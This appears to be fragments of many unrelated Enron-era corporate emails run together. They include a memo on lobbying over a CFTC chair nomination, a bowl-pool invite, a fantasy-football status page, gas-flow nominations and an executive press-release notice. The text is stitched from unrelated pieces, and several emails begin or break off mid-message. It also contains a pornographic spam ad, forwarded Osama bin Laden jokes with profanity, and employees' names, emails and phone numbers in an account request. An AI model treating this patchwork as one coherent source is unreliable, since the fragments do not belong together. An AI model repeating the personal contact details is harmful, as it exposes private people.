Republicans and Commissioners Erickson and Holum are Democrats, with one 
opening.  If Newsome becomes Chair, then there will be two open seats.  If 
Newsome if passed over, there will only be open seat. 

Commissioner Newsome has the support of Majority Trent Lott.  He is well 
liked in industry because of his free market philosophy and belief in 
competition and deregulation.  While not a technical expert, he is a "known 
quantity" at the Commission.  Newsome played a major role in the Commodities 
Futures Modernization Act (CFMA) which became law last Congress.  This law 
brought legal certainty and modernization to the commodity trading 
community.  With Newsome, industry is consulted before regulations are 
issued.  Industry generally believes that Commission Newsome is the right 
candidate to oversee the CFMA rulekmaking which is currently underway.

The other candidate for the position was former North Carolina Senator Lauch 
Faircloth whose nomination was being championed by Senator Phil Gramm 
(R-TX).  We have learned that Faircloth has lost interest, because he would 
have to divest sizeable interest in agriculture holdings.  The concern now is 
that because this is a third tier appointment,  unknown candidates will 
suddenly appear without industry input.  A quick nomination and confirmation 
of Commissioner Newsome as Chairman is recommended by many in the industry.

Do you think it appropriate to have Ken Lay raise this nomination with the 
transition team?

Commisioner Newsome's bio:

http://www.cftc.gov/opa/newsome.htm

For more information on the CFTC:

 http://www.cftc.gov/

Artricle on EnronOnLine broadband trading.  Interesting article on new Avista 
strategy
---------------------- Forwarded by Susan J Mara/SFO/EES on 09/19/2000 10:58 

US Publishing <season@wizard.net> on 09/19/2000 07:46:26 AM
Please respond to season@wizard.net
To: "RT Reader" <season@wizard.net>
cc:  
Subject: Restructuring Today, Tuesday September 19, 2000

(see attached file:  rt000919.pdf)

Thank you,

Season Hawksley
1-800-486-8201
www.restructuringtoday.com
season@restructuringtoday.com

 - rt000919.pdf

---------------------- Forwarded by Jackson Logan/HOU/ECT on 12/12/2000 02:06 

William E Kasemervisz
12/12/2000 01:58 PM
To: Jackson Logan/HOU/ECT@ECT
cc:  
Subject: Bowl Pool 2000

---------------------- Forwarded by William E Kasemervisz/HOU/ECT on 
12/12/2000 01:58 PM ---------------------------
   
	From:  Eric Groves                           12/08/2000 12:52 PM
	
To: John Massey/HOU/ECT@ECT, Allen B Childress/HOU/ECT@ECT, Tom 
Mcquade/HOU/ECT@ECT, Gary W Lamphier/HOU/ECT@ECT, William E 
Kasemervisz/HOU/ECT@ECT, Joseph Graham/HOU/EES@EES, Jeffrey C 
Gossett/HOU/ECT@ECT, Martin Cuilla/HOU/ECT@ECT, gmc_13@yahoo.com, john, 
jennifer.battey@corning.com, Kevin McGowan/Corp/Enron@ENRON, John 
Swinney/HOU/ECT@ECT, Scott Earnest/HOU/ECT@ECT, Mark Fondren/HOU/ECT@ECT, 
Brad Hitch/EU/Enron@Enron, Patrick Stafford/Corp/Enron@ENRON, Mason 
Hamlin/HOU/ECT@ECT, Eric Moon/HOU/ECT@ECT, John Griffith/Corp/Enron@Enron, 
Matthew Arnold/HOU/ECT@ECT, Brent A Price/HOU/ECT@ECT, Mo Bawa/Enron 
Communications@Enron Communications, Brian Spector/Enron Communications@Enron 
Communications, Brian O'Rourke/Enron Communications@Enron Communications, 
Chad Pennix/HOU/ECT@ECT
cc:  

Ready to take my money?  Welcome to Bowl Pool 2000.  Entries due on December 
19th (tuesday).  Don't forget to sign your name on the form.

Spread the word.  We need a big honkin' pot.

ALL I NEED TO KNOW I LEARNED FROM THE EASTER BUNNY

...Don't put all your eggs in one basket
...Walk softly and carry a big carrot
...Everyone needs a friend who is all ears
...There's no such thing as too much candy
...All work and no play can make you a basket case
...A cute little tail attracts a lot of attention
...Everyone is entitled to a bad hare day
...Let happy thoughts multiply like rabbits
...Some body parts should be floppy
...Keep your paws off other people's jelly beans
...Good things come in small sugarcoated packages
...The grass is always greener in someone else's basket
...An Easter bonnet can tame even the wildest hare
...To show your true colors you have to come out of your shell
...The best things in life are still sweet and gooey

The list of new phone numbers will be sent to my usual distribution for 
documentation, which includes Connie Sutton from Global Contracts.  As to 
what numbers they are replacing, they are replacing all the phone numbers we 
might have had across the board with this counterparty.  If you would like to 
see the numbers, obtain a copy of the notice from Connie Sutton.  As I just 
mailed it, it should get there in a few days.

 Updates  [IMAGE]Latest NFL Player News  Az-Zahir Hakim , WR STL - FIBSABs =
Updated 11/16/01 Hakim has been inconsistent in recent weeks, so starting h=
im on your Fantasy team is a gamble unless the matchup is right. He'll go u=
p against a tough New England secondary in Week Ten, so avoid using him out=
side of deeper leagues.   Torry Holt , WR STL - Fear Updated 11/16/01 Holt =
continues to put up consistent yardage totals, but he's only scored only th=
ree touchdowns this season. He'll face a tough New England secondary t! hi!=
 s weekend, but he's still worth starting on your Fantasy team based on his=
 potential to put up solid numbers.   Isaac Bruce , WR STL - Matt Lenhart U=
pdated 11/16/01 Bruce hasn't put up the huge Fantasy totals this season, bu=
t he's still one of the better wideouts in the league. He'll face CB Ty Law=
 and the formidable New England secondary, but he's still worth starting ba=
sed on his potential for big numbers.   Marshall Faulk , RB STL - McKay Nea=
l Updated 11/16/01 Faulk had a huge game against Carolina, proving that he =
is still the best Fantasy player in the league. He's a must-start every wee=
k, and should post solid numbers in Week 10 against New England.   Ernie Co=
nwell , TE STL - Free Agent Updated 11/16/01 Conwell has had a few down wee=
ks, so starting him on your Fantasy team is somewhat of a gamble. With the =
lack of depth at tight end around the league, however, starting Conwell is =
something many Fantasy owners will have no choice but to do.   Richard Hunt=
ley , RB CAR - Free Agent Updated 11/16/01 ! Hu! ntley will be the likely s=
tarter this weekend against San Francisco, but don't be surprised if he spl=
its carries with Nick Goings. Avoid starting either back in Week 10 if at a=
ll possible.   Donald Hayes , WR CAR - Eric Bass Updated 11/16/01 Hayes had=
 only two catches for 11 yards last weekend against St. Louis. He's been un=
reliable for Fantasy owners this season, so starting him is a real gamble. =
   Wesley Walls , TE CAR - Tori Kuykendall Updated 11/16/01 Walls has been =
held in check over the last three weeks, but he's still one of the better t=
ight ends in the league. He's had some success against San Francisco in the=
 past, so starting him is advisable.   Muhsin Muhammad , WR CAR - Fear Upda=
ted 11/16/01 Muhammad finally had a somewhat productive game, catching six =
passes for 75 yards against St. Louis. He's had some success in the past ag=
ainst this week's opponent, San Francisco, so starting him is a decent move=
.   Brett Favre , QB GB - The Klap Updated 11/16/01 Favre has been one of t=
he best F! an! tasy quarterbacks in the league this season. He'll face an A=
tlanta team on Sunday with a very vulnerable secondary, so be sure to start=
 Favre this week.   Bubba Franks , TE GB - Free Agent Updated 11/16/01 Fran=
ks may not put up huge yardage numbers, but his seven touchdowns in eight g=
ames makes him a valuable Fantasy player. Unless you have a better option o=
n your roster, Franks is the type of tight end that should start on a weekl=
y basis.    Bill Schroeder , WR GB - Rocks Updated 11/16/01 Schroeder (ankl=
e) is not listed on the NFL injury report, and is expected to start on Sund=
ay against Atlanta. He's a solid play this week against Atlanta, whose seco=
ndary is vulnerable to strong passing teams like Green Bay.   Reuben Drough=
ns , RB DET - Free Agent Updated 11/16/01 Droughns will likely split time w=
ith Lamont Warren in Detroit's backfield this weekend in James Stewart's ab=
sence. Neither back has much Fantasy value outside of deeper leagues, and s=
tarting them is a huge gamble.   Lamont Warren , RB DET - Free Agent Update=
d 11/16/01 Warren will likely start in place of the injured James Stewart o=
n Sunday against Arizona. He's split carries with Reuben Droughns, and is o=
nly worth starting as a last resort in larger Fantasy leagues.   Charlie Ba=
tch , QB DET - Rocks Updated 11/16/01 Batch will again lose playing time to=
 Mike McMahon this week. McMahon will be the No. 2 QB again, but will see p=
laying time as the Lions continue to use two quarterbacks. As a result, you=
 may want to look for another signal-caller to start on your Fantasy team. =
   David Sloan , TE DET - Free Agent Updated 11/16/01 Sloan is an unreliabl=
e tight end, which was proven in his one-catch for minus-2 yard performance=
 in Week Nine. Unless you play in a deeper league, starting Sloan isn't adv=
isable.   Ron Dayne , RB NYG - Martin Cuilla Updated 11/16/01 Dayne has bee=
n a serious disappointment for Fantasy owners in recent weeks. He may score=
 a touchdown in goal-line situations, but he's a risky pick for Fantasy own=
ers overall.   Kerry Collins , QB NYG - Matt Lenhart Updated 11/16/01 Colli=
ns has been inconsistent this season, but the matchup this week! a! gainst =
Minnesota is very favorable. He lit up the Vikings for 381 yards passing an=
d five touchdowns in last year's NFC Championship game, and is worth taking=
 a chance on in Week 10.   Joe Jurevicius , WR NYG - Free Agent Updated 11/=
16/01 Jurevicius has put up some solid Fantasy numbers in certain games thi=
s season, but he's been inconsistent overall. However, facing a porous Minn=
esota secondary on Monday makes him worth considering in larger Fantasy lea=
gues.   Frank Wycheck , TE TEN - Free Agent Updated 11/16/01 Wycheck sat ou=
t practice Thursday to rest his injured ankle. He is listed as questionable=
 for Sunday's game. Don't expect him to be too reliable if he plays.   Ike =
Hilliard , WR NYG - Tori Kuykendall Updated 11/16/01 Hilliard has caught th=
ree touchdowns in his last three games, so starting him against Minnesota i=
s advisable. The Vikings' secondary is questionable at best, so look for Hi=
lliard to be productive.   Amani Toomer , WR NYG - McKay Neal Updated 11/16=
/01 Toomer could find some real success on Monday night against Minnesota. =
The Viking! s ! sport one of the worst secondaries in the league, so starti=
ng Toomer based on the matchup is a wise move.   Mike Anderson , RB DEN - T=
he Klap Updated 11/16/01 Contrary to some earlier reports, Anderson will re=
main the starter in Denver's backfield for now. Some reports had indicated =
that Olandis Gary would start in his place.  Michael Bennett , RB MIN - Fre=
e Agent Updated 11/16/01 Bennett is expected to return to action after miss=
ing three game with a high ankle sprain. He'll likely split carries with Do=
ug Chapman on Monday night against the Giants, making him a risky start on =
your Fantasy team.   Jerome Pathon , WR IND - Martin Cuilla Updated 11/16/0=
1 Pathon (foot) is now listed as doubtful for Sunday's game. Rookie Reggie =
Wayne should start in his place.  Stephen Alexander , TE WAS - Free Agent U=
pdated 11/16/01 Alexander (ankle) did not practice on Thursday, and is doub=
tful for Sunday's game against Denver. William ! Ra! sby and Zeron Flemiste=
r will likely split time at tight end in Alexander's absence, but neither p=
layer has any real Fantasy value.   Redskins , DT WAS - Rocks Updated 11/16=
/01 Linebacker Lavar Arrington (ankle) is expected to play on Sunday agains=
t Denver. "We wouldn't play him if we thought he wouldn't be effective," Re=
dskins Coach Marty Schottenheimer told the Washington Post. "I think he'll =
be effective." He suffered the injury in a game against Seattle a few weeks=
 ago.   Tyrone Wheatley , RB OAK - Tori Kuykendall Updated 11/16/01 Wheatle=
y has strep throat, and missed practice on Thursday. He is now questionable=
 for Sunday's game as he also makes his way back from a knee injury.   Eagl=
es , DT PHI - McKay Neal Updated 11/16/01 Cornerback Bobby Taylor missed pr=
actice on Wednesday with a quadriceps injury. He is expected to return to p=
ractice, however, and should be ready in time for Sunday's game against Dal=
las.   Erron Kinney , TE TEN - Free Agent Updated 11/16/01 Kinney missed pr=
actice Thursday and is not expected to play. He has been hindered by a calf=
 injury for over ! a ! month.  More Updates  NFL Reports, Transactions  [IM=
AGE] 11/16 Oakland Raiders  Placed quarterback Bobby Hoying  on the injured=
 reserve list with an injured right shoulder; signed cornerback James Hasty=
.   Detroit Fury (Arena) Signed fullback-linebacker Derric Coakley.    11/1=
5 Denver Broncos  Released wide receiver Eddie Kennison ; signed wide recei=
ver Phil McGeoghan  from the practice squad; re-signed wide receiver Richar=
d Hall to the practice squad.   Green Bay Packers  Signed free agent kicker=
 James Tuthill .   San Diego Chargers  Signed kick returner Glyn Milburn . =
  New Jersey Gladiators (Arena) Signed wide receiver-defensive back Denniso=
n Robinson to a three-year contract.   Toronto Phantoms (Arena) Named Rick =
Frazier assistant head coach and defensive coordinator.    11/14 Chicago Be=
ars  Signed wide receiver Ramondo North to the practice squad.  Dallas Cowb=
oys  Placed kicker Tim Seder  on injured reserve with a sprained right ankl=
e; signed kicker Jon Hilbert .   Detroit Lions  Signed tight end John Waeri=
g  from the practice squad.  San Diego Chargers  Signed wide receiver Patri=
ck Batteaux and tight end Adam Young ; placed linebacker Carlos Polik on in=
jured reserve and added running back Mukala Sikyala  to the practice squad.=
   Carolina Cobras (Arena) Re-signed lineman Voncellius Allen.   Chicago Ru=
sh (Arena) Signed wide receiver-defensive back Lindsay Fleshman.    11/13 D=
etroit Lions  Released tight end Pete Mitchell .   Green Bay Packers  Waive=
d defensive back Keith Thibodeaux.   New York Giants  Signed punter Gabe Li=
ndstrom.   San Diego Chargers  released wide receiver Reggie Jones .   Hami=
lton Tiger-Cats (CFL) Signed wide receiver Andrew Grigg to a one-year contr=
act extension.   New Jersey Gladiators (Arena) Traded offensive-defensive l=
ineman Rondel Marsh to the Tampa Bay Storm for offensive safety James Bowde=
n.    11/12 St. Louis Rams  Signed linebacker O.J. Brigance to the active r=
oster; placed wide receiver Damon Griffin  on the reserve-injured list.    =
11/10 Cincinnati Bengals  Placed cornerback Tom Carter on injured reserve; =
signed cornerback Kevin Kaesvirhan from the practice squad.    Transactions=
, View  [IMAGE]     [IMAGE] Warning   [IMAGE]        [IMAGE] There are no L=
eague Transactions at this time.         [IMAGE]    Schedule, Breakdown  [I=
MAGE] Matt Lenhart Player Pos Points Beuerlein, Steve  QB 0.0 Davis, Stephe=
n  RB 0.0 Dillon, Corey  RB 12.0 Bruce, Isaac  WR 9.0 Carter, Cris  WR 14.0=
 Moulds, Eric  WR 2.0 Stover, Matt  K 10.0 Dolphins  DT 9.0   [IMAGE] TOTAL=
   56.0   [IMAGE] Raiders  DT 7.0 Collins, Kerry  QB 10.0 Banks, Tony  QB 0=
.0 Dudley, Rickey  TE 0.0 Morton, Johnnie  WR 6.0 Price, Peerless  WR 11.0 =
  [IMAGE] at The Klap Player Pos Points Green, Trent  QB 10.0 Anderson, Mik=
e  RB 2.0 Barber, Tiki  RB 11.0 Boston, David  WR 19.0 Brown, Troy  WR 3.0 =
Gonzalez, Tony  TE 10.0   K 0.0 Jaguars  DT 8.0   [IMAGE] TOTAL   63.0   [I=
MAGE] Pickens, Carl  WR 0.0 Favre, Brett  QB 19.0 Alexander, Shaun  RB 44.0=
 Anderson, Jamal  RB 0.0 Jones, Thomas  RB 1.0 Wilkins, Terrence  WR 2.0   =
[IMAGE]  Copyright 2001 Commissioner.COM Inc and SportsLine.com Inc. Your s=
ite can be reached from http://fantasy.sportsline.com   FB10SP  =09

---------------------- Forwarded by Kate Symes/PDX/ECT on 03/23/2001 10:37 AM 

Mary Jane Symes <marys@tvapdx.com> on 03/23/2001 10:35:06 AM
Please respond to "marys@tvapdx.com" <marys@tvapdx.com>
To: "'kate.symes@enron.com'" <kate.symes@enron.com>
cc:  

Subject: FW: The number one song the day you were born is your theme song for 
life and. . .

From: STEVE KAROLYI
Sent: Friday, March 23, 2001 10:29 AM
To: MARY JANE SYMES
Subject: FW: The number one song the day you were born is your theme song
for life and. . .

From: slahaie@drmartensusa.com
Sent: Friday, March 23, 2001 8:32 AM
To: slaken@columbiaforestproducts.com; janet.rivera@theplatform.com;
dakotanorth2000@hotmail.com; stevek@tvapdx.com; lgibbs@stastnybrun.com;
sandyshalaby@hotmail.com; plahaie@freeway.net; lahaiebe@hotmail.com;
lukeduke03@hotmail.com; bevans@email.lhs.org; hkennedy@cmdpdx.com;
kristine.danzer@kimptongroup.com; mbillet@webtrends.com; neecie66@aol.com
Subject: The number one song the day you were born is your theme song for

 .

The link below will tell you  what that song was!

Have fun!

 http://www.thisdayinmusic.com/cont/choose.html>

The following is a list of staff that need updating on your OASIS site.  As 
discussed please Email
the user names and passwords for the new accounts directly to the users 
indicated below.

Please remove the following users from your site.

Morse
Webb
Hickle
Halmark
Burger
Haile
Zarritta
Norman

Please add the following users to your site.

Miguel Garcia    miguel.l.garcia@enron.com      (713) 853-5458
Rudy Acevedo      rudy.acevedo@enron.com     (713) 853-7171
Juan Hernandez  juan.hernandez@enron.com       (713) 853-0383
Gretchen Lotz     gretchen.lotz@enron.com    (713) 853-6261
Maria Valdes      maria.valdes@enron.com     (713) 853-6350
Smith Day       smith.l.day@enron.com          (713) 853-4201
Laura Podurgiel laura.podurgiel@enron.com  (713) 853-6470 (if this is a 
active account please rest the password)

If you have any questions please call me at 713-853-3383.

Thanks

Eileen, our Gas Control records indicate the following rate changes for March
26, 2001 flow:
20,000 rate 0900 to 1400 (5hrs);
40,000 rate 1400 to 0100 (11hrs)
Nom. for the day:  22,500 MMBTU.
Please call me to see if we can agree on the total nom.
I can be reached at 214-812-4404.

"Eileen Ponton" <kponton@duke-energy.com> on 03/27/2001 09:39:00 AM

cc:
Subject:  NOMS/ACTUAL VOLS FOR 3/26/01

24,167         21,820         22,409

BTU = 1.027

NOTE:  No changes to flow rates for 3/23 thru 3/25.............

not available due to other meeting

Sent:	Tuesday, October  16, 2001 8:47 AM
To:	Boyt, Eric; Moon, Eric; Diamond, Russell; Neal, Scott; Vickers, Frank W.
Subject:	Calpine
When:	Tuesday, October  16, 2001 4:00 PM-5:00 PM (GMT-06:00) Central Time (US & Canada).
Where:	3259

On Behalf of Jared kaiser

---------------------- Forwarded by Robert Badeer/HOU/ECT on 08/10/2000 11:49 
cc:  
Subject: Re: Robert Gramlich  

any day works

All,

When sending emails in regards to cuts or other things that occur in RT, 
please send the emails to our entire group.  

The address is:  Volume_Management_Portland

Thank you, it helps our process greatly.

Kourtney

Steve - So far all that's been posted is the Amaren RTO order.  I've attached 
it below as a text file.   I'm also overnighting a copy of it to you, along 
with the charts we discussed.  We'll check for the other orders first thing 
in the morning and send them to you if they've been posted.

Also, Bob Frank gave me a copy of the Judge's recommendation to send to you, 
and the text file for that is attached below.

Elizabeth

Thanks for our new model.  Pls let me know how it is going.

Jim

From: 	Ibrahim, Amr  
Sent:	Thursday, November 01, 2001 11:07 AM
Cc:	Gottfredson, Bryan
Subject:	FW: Gas/Power Prices

Jim:

Please advise if you prefer this format, or you think that percentage change in price is more meaningful.  

Brgrds

AI
From: 	Gottfredson, Bryan  
Sent:	Thursday, November 01, 2001 10:19 AM
To:	Ibrahim, Amr
Subject:	Gas/Power Prices

Amr - Here are the charts I have been working on for forward gas/power prices.  Please take a look at them and let me know your suggestions on any way we may improve upon them.  I have played with it a bit in power point, but excel really does work better for a number of reasons.  

 << File: Electricity prices.xls >> 
 << File: Gas Prices.xls >> 
Bryan

From: Peter M. Kelly
Sent: Wednesday, February 13, 2002 4:21 PM
To: Feder1, Todd; CharlesJeremiah
Subject: Fw: David's Valentine

> >>>   >Where is the Love?
> >>>   >
> >>>   >Little David comes home from first grade and tells his father that
> >>>   >they
> >>>   >learned about the history of Valentine's Day. "Since Valentine's
day
> >>>   >is
> >>>   >for a Christian saint and we're Jewish," he asks, "will God get mad
> >>>   >at
> >>>   >me for giving someone a valentine?"
> >>>   >David's father thinks a bit, then says "No, I don't think God would
> >>>   >get
> >>>   >mad.
> >>>   >Who do you want to give a valentine to?"
> >>>   >"Osama Bin Laden," David says.
> >>>   >"Why Osama Bin Laden," his father asks in shock.
> >>>   >"Well," David says, "I thought that if a little American Jewish boy
> >>>   >could have enough love to give Osama a valentine, he might start to
> >>>   >think that
> >>>   >maybe we're not all bad, and maybe start loving people a little
bit.
> >>>   >And if other kids saw what I did and sent valentines to Osama, he'd
> >>>   >love
> >>>   >everyone a lot. And then he'd start going all over the place to
tell
> >>>   >everyone how much he loved them and how he didn't hate anyone
> >>>   >anymore."
> >>>   >His father's heart swells and he looks at his boy with newfound
> >>>   >pride.
> >>>   >"David, that's the most wonderful thing I've ever heard."
> >>>   >"I know," David says, "and once that gets him out in the open, the
> >>>   >Marines could blow the shit out of him."
> >>>
> >>
> >>
> >
>
>
>

One minor edit

05/01/2001 07:07 PM
To: Kenneth Lay/Corp/Enron@ENRON, Jeff Skilling/Corp/Enron@ENRON, Cliff 
Baxter/Enron@EnronXGate, Steven J Kean/NA/Enron@Enron
cc: Mark Palmer/Corp/Enron@ENRON 

Subject: Baxter Press Release

Attached is a draft press release announcing Cliff's resignation.  This is 
scheduled to be issued tomorrow, following the distribution of the internal 
memo.  Please let me know if you have any comments or changes.

Thank you.
Karen

[IMAGE] 
dutch.quigley@enron.com
We URGE you to check this out today! Brand new and just launched. Passport won't be free next week! [IMAGE] Access to over 50.000 sites, 100.000 movies, over 1million XXX pictures! [IMAGE] [IMAGE] [IMAGE] 

From: Harrington, Stephen R. 
Sent: Wednesday, December 19, 2001 2:06 PM
To: Taylor, Craig; Reitmeyer, Jay; Neal, Scott; Otto, Charles H.;
Quigley, Dutch; Muzzy, Charles T.; May, Larry; Griffith, John
Subject: FW: Intercepted Memo From Osama Bin Laden 

Intercepted Memo From Osama Bin Laden 
Here is a memo we have Intercepted from Osama Bin Laden to all of his
Cavemates. 

To: Cavemates

From: Bin Laden, Osama 

Sent: Monday, December 10, 2001 8:17 AM 

Subject: The Cave 

Hi guys. We've all been putting in long hours in this conflict but we've
finally come together as a group and I love that. Big thanks to Omar for
putting up the poster that says "There is no I in team" as well as the one
that says "Hang In There, Baby." That cat is hilarious. However, while we
are fighting a jihad, we can't forget to take care of the cave. And frankly
I have a few concerns. 
First of all, while it's good to be concerned about cruise missiles, we
should be even more concerned about the scorpions in our cave. Hey, you
don't want to be stung and neither do I, so we need to sweep the cave daily.

I've posted a sign-up sheet near the main cave opening. 
Second, it's not often I make a video address but when I do, I'm trying to
scare the most powerful country on earth, okay? That means that while we're
taping, please do not ride your razor scooter in the background. Just while
we're taping. Thanks. 
Third point, and this is a touchy one. As you know, by edict, we're not
supposed to shave our beards. But I need everyone to just think hygiene,
especially after mealtime. We're all in this together. 
Fourth: food. I bought a box of Cheez-Its recently, clearly wrote "Osama" on
the front, and put it on the top shelf. Today, my Cheez-Its were gone.
Consideration. That's all I'm saying. 
Finally, we've heard that there may be American soldiers in disguise trying
to infiltrate our ranks. I want to set up patrols to look for them. First
patrol will be Omar, Muhammed, Abdul, Akbar, and the new guy Richard. 

Love you lots. 

Osama B. 

These are the open positions for the Month of February. This is the best way to see our obligations.

please print these.
---------------------- Forwarded by Jeffrey A Shankman/HOU/ECT on 11/06/2000 
   
From:  Cassandra Schultz @ ENRON                                              
               10/31/2000 07:35 PM	
	
Sent by: Araceli Romero@ENRON
To: Richard Lewis/LON/ECT@ECT, Peter Crilly/LON/ECT@ECT, Steven 
McCarthy/LON/ECT@ECT, Rudy Dautel/EU/Enron@Enron, David Redmond/LON/ECT@ECT, 
Andrew Fairley/LON/ECT@ECT, Matthew Nicholas/LON/ECT@ECT, David 
Gallagher/LON/ECT@ECT, Didier Magne/LON/ECT@ECT, David Furner/LON/ECT@ECT, 
Carsten Sterz/LON/ECT@ECT, Steve Vavrik/LON/ECT@ECT, Suryan Wirya 
Simunovic/LON/ECT@ECT, Simon Hastings/LON/ECT@ECT, Louis Redshaw/LON/ECT@ECT, 
Amir Ghodsian/LON/ECT@ECT, Tom Glover/LON/ECT@ECT, Neil Jackson/LON/ECT@ECT, 
Graham Mullin/LON/ECT@ECT, Derek Edmiston/LON/ECT@ECT, Denis 
Bajolle/LON/ECT@ECT, Thor Lien/OSL/ECT@ECT, Fredrik Flykt-Rosen/OSL/ECT@ECT, 
Stefan Fastesson/OSL/ECT@ECT, Espen Seidel/OSL/ECT@ECT, Preben 
Richter/OSL/ECT@ECT, Mats Larsson/OSL/ECT@ECT, Sami Tenngren/OSL/ECT@ECT, 
Linda Andersson/OSL/ECT@ECT, Tove Anita Furuly Stensbol/OSL/ECT@ECT, Anne 
Coll/OSL/ECT@ECT, Gregor Baumerich/LON/ECT@ECT, Peter Heydecker/LON/ECT@ECT, 
Florian Neubauer/LON/ECT@ECT, Raphael Brun/LON/ECT@ECT, Ulf Ek/LON/ECT@ECT, 
Meindert Witteveen/LON/ECT@ECT, Adrian Mancebo/LON/ECT@ECT, Michael 
Hellermann/LON/ECT@ECT, Sonia McCorquodale/LON/ECT@ECT, Marc 
Janichen/LON/ECT@ECT, Martin Bloch/LON/ECT@ECT, Benedikt Messner/LON/ECT@ECT, 
Gunter Tuhy/LON/ECT@ECT, Al Garcia/LON/ECT@ECT, Markus Urban/LON/ECT@ECT, 
Paul Mead/LON/ECT@ECT, Reuben Maltby/LON/ECT@ECT, Jonathan 
Pietila/LON/ECT@ECT, Cassim Mangerah/LON/ECT@ECT, Stephen J 
Lowe/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Raymond 
Yeow/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Connell 
Burke/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Howard 
Levy/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Paul 
Quilkey/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Jonathan 
Whitehead/AP/Enron@Enron, Morten E Pettersen/AP/Enron@Enron, Bryan 
Seyfried/LON/ECT@ECT, Jeff Kinneman/HOU/ECT@ECT, Martin 
McDermott/LON/ECT@ECT, Seung-Taek Oh/NA/Enron@ENRON, Jean-Sebastien 
Fontaine/Corp/Enron@Enron, Markus Fiala/LON/ECT@ECT, Nicholas J 
Stephan/LON/ECT@ECT, Simon Brooks/LON/ECT@ECT, Robert Diprose/LON/ECT@ECT, 
Paul Pizzolato/HOU/ECT@ECT, Reza Rezaeian/Corp/Enron@ENRON, Konstantin 
Malinovski/LON/ECT@ECT, Michael J Hutchinson/EU/Enron@Enron, Ed 
Dablin/EU/Enron@Enron, Tim R Jones/EU/Enron@Enron, Bradley L 
Marchant/EU/Enron@Enron, Tony Piper/EU/Enron@Enron, Tim J 
Pateman/EU/Enron@Enron, Russell Plackett/EU/Enron@Enron, Michael 
Farmer/EU/Enron@ENRON, Predrag Barlov/EU/Enron@Enron, Thomas 
Boettcher/EU/Enron@Enron, Fritz Ten Doornkaat/EU/Enron@Enron, Sam 
Hainsworth/EU/Enron@Enron, Rainer Herforth/EU/Enron@Enron, Irma 
Hunt/EU/Enron@Enron, Lothar Kierspel/EU/Enron@Enron, David 
Lilley/EU/Enron@Enron, Nigel Stern/EU/Enron@Enron, Simon 
Tibbitts/EU/Enron@Enron, Steve Upot/EU/Enron@Enron, Joe 
Robertson/NYC/MGUSA@MGUSA, Philip Bacon/NYC/MGUSA@MGUSA, Patricia 
Benington/NYC/MGUSA@MGUSA, Barry Feldman/NYC/MGUSA@MGUSA, Tom 
Gramlich/NYC/MGUSA@MGUSA, Claus Pramer/NYC/MGUSA@MGUSA, Bill 
Silverstein/NYC/MGUSA@MGUSA, Spiro Spirakis/NYC/MGUSA@MGUSA, Sandra 
Torres/NYC/MGUSA@MGUSA, Ulf Von Borck/MG Recycling/MGLTD@MGLTD, Achim 
Lindhorst/MG Recycling/MGLTD@MGLTD, Jeffrey A Shankman/HOU/ECT@ECT, Kevin M 
Presto/HOU/ECT@ECT, Tim Belden/HOU/ECT@ECT, Greg Whalley/HOU/ECT@ECT, George 
McClellan/HOU/ECT@ECT, Bob Crane/HOU/ECT@ECT, Mark Tawney/HOU/ECT@ECT, Gary 
Hickerson/HOU/ECT@ECT, Joe Kishkill/SA/Enron@Enron, Jim Fallon/Enron 
Communications@Enron Communications, Marty Sunde/HOU/EES@EES, Ben F 
Glisan/HOU/ECT@ECT, John L Nowlan/HOU/ECT@ECT, Joe Gold/LON/ECT@ECT, Joseph P 
Hirl/AP/ENRON@ENRON, Bryan Seyfried/LON/ECT@ECT, John Arnold/HOU/ECT@ECT, 
Peter F Keavey/HOU/ECT@ECT, Brian Hoskins/Enron Communications@Enron 
Communications, Mike Maggi/Corp/Enron@Enron, Chris Germany/HOU/ECT@ECT, Dan 
Junek/HOU/ECT@ECT, Judy Townsend/HOU/ECT@ECT, Eugene Pereira/LON/ECT@ECT, 
Brad McKay/HOU/ECT@ECT, Kate Fraser/HOU/ECT@ECT, Dick Jenkins/HOU/ECT@ECT, 
Tammi DePaolis/Corp/Enron@ENRON, Scott Neal/HOU/ECT@ECT, Robin 
Barbe/HOU/ECT@ECT, Jared Kaiser/HOU/ECT@ECT, Scott Hendrickson/HOU/ECT@ECT, 
Sarah Mulholland/HOU/ECT@ECT, Sandra F Brawner/HOU/ECT@ECT, Patrice L 
Mims/HOU/ECT@ECT, Tom Donohoe/HOU/ECT@ECT, Hunter S Shively/HOU/ECT@ECT, 
Andrew H Lewis/HOU/ECT@ECT, Fletcher J Sturm/HOU/ECT@ECT, Geoff 
Storey/HOU/ECT@ECT, Kevin Ruscitti/HOU/ECT@ECT, Martin Cuilla/HOU/ECT@ECT, 
Joe Parks/Corp/Enron@ENRON, Jim Schwieger/HOU/ECT@ECT, Thomas A 
Martin/HOU/ECT@ECT, Greg McClendon/HOU/ECT@ECT, Carey M Metz/HOU/ECT@ECT, 
Elsa Villarreal/HOU/ECT@ECT, Steven P South/HOU/ECT@ECT, Jane M 
Tholt/HOU/ECT@ECT, Frank Ermis/HOU/ECT@ECT, Phillip K Allen/HOU/ECT@ECT, Mike 
Grigsby/HOU/ECT@ECT, Keith Holst/HOU/ECT@ect, Tori Kuykendall/HOU/ECT@ECT, 
Matthew Lenhart/HOU/ECT@ECT, John Craig Taylor/HOU/ECT@ECT, Victoria 
Versen/HOU/ECT@ECT, Robin Milner/Enron@Gateway, Chris Dorland/HOU/ECT@ECT, 
Michael Cowan/CAL/ECT@ECT, Chris Lambie/CAL/ECT@ECT, Chad Clark/CAL/ECT@ECT, 
Jonathan McKay/CAL/ECT@ECT, John Disturnal/CAL/ECT@ECT, Rudy 
Acevedo/HOU/ECT@ECT, Don Baughman/HOU/ECT@ECT, Lawrence 
Clayton/Corp/Enron@Enron, Kayne Coulter/HOU/ECT@ECT, Joe 
Errigo/Corp/Enron@Enron, Juan Hernandez/Corp/Enron@ENRON, Wayne 
Herndon/Corp/Enron@ENRON, Richard Hrabal/HOU/ECT@ect, Larry 
Jester/Corp/Enron@ENRON, Jeff King/Corp/Enron@Enron, John Kinser/HOU/ECT@ECT, 
Dean Laurent/HOU/ECT@ECT, Keller Mayeaux/Corp/Enron@Enron, Doug 
Miller/Corp/Enron@Enron, Cyril Price/HOU/ECT@ECT, Chad 
Starnes/Corp/Enron@Enron, Joe Stepenovitch/Corp/Enron@Enron, Greg 
